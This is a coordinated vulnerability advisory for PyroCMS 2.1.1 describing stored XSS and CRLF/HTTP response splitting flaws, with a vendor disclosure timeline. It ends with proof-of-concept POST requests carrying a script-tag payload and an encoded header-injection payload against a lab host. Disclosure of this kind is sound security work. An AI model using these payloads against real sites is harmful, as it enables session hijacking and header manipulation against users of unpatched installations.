PyroCMS 2.1.1 CRLF Injection And Stored XSS Vulnerability
Vendor: HappyNinjas Ltd
Product web page: http://www.pyrocms.com
Affected version: 2.1.1 (Community)
Summary: PyroCMS is a CMS built using the CodeIgniter PHP framework.
Using an MVC architecture it was built with modularity in mind. Lightweight,
themeable and dynamic.
Desc: PyroCMS suffers from a stored XSS and HTTP Response Splitting
vulnerability when parsing user input to the 'title' and 'redirect_to'
parameters via POST method thru 'index.php' script. Attackers can exploit
these weaknesses to execute arbitrary HTML and script code in a user's
browser session or insert arbitrary HTTP headers, which are included in
a response sent to the user.
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.8
MySQL 5.5.20
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk
[20.05.2012] Vulnerabilities discovered.
[20.05.2012] Initial contact with the vendor.
[20.05.2012] Vendor responds asking more details.
[20.05.2012] Sent detailed information to the vendor.
[21.05.2012] Vendor confirms the issues.
[22.05.2012] Asked vendor for status update.
[27.05.2012] Vendor replies.
[03.06.2012] Vendor releases version 2.1.2 to address these issues.
[04.06.2012] Coordinated public security advisory released.
Advisory ID: ZSL-2012-5092
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5092.php
Vendor Advisory: http://www.pyrocms.com/store/details/pyrocms_professional
20.05.2012
----
#1
- POST http://localhost/pyrocms/index.php/admin/blog/categories/create_ajax HTTP/1.1
csrf_hash_name 28b57b25dd24b3adb785de7fd863b6be
title "><script>alert(1);</script>
#2
- POST http://localhost/pyrocms/index.php/users/login HTTP/1.1
btnLogin Login
email lab@zeroscience.mk
password
redirect_to %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection
remember 1
#2a
- POST http://localhost/pyrocms/index.php/comments/create/pages/4 HTTP/1.1
comment t00t%20w00t!
d0ntf1llth1s1n
redirect_to %0D%0A%20ZSL%2DCustom%2DHeader%3Alove_injection
submit Comment
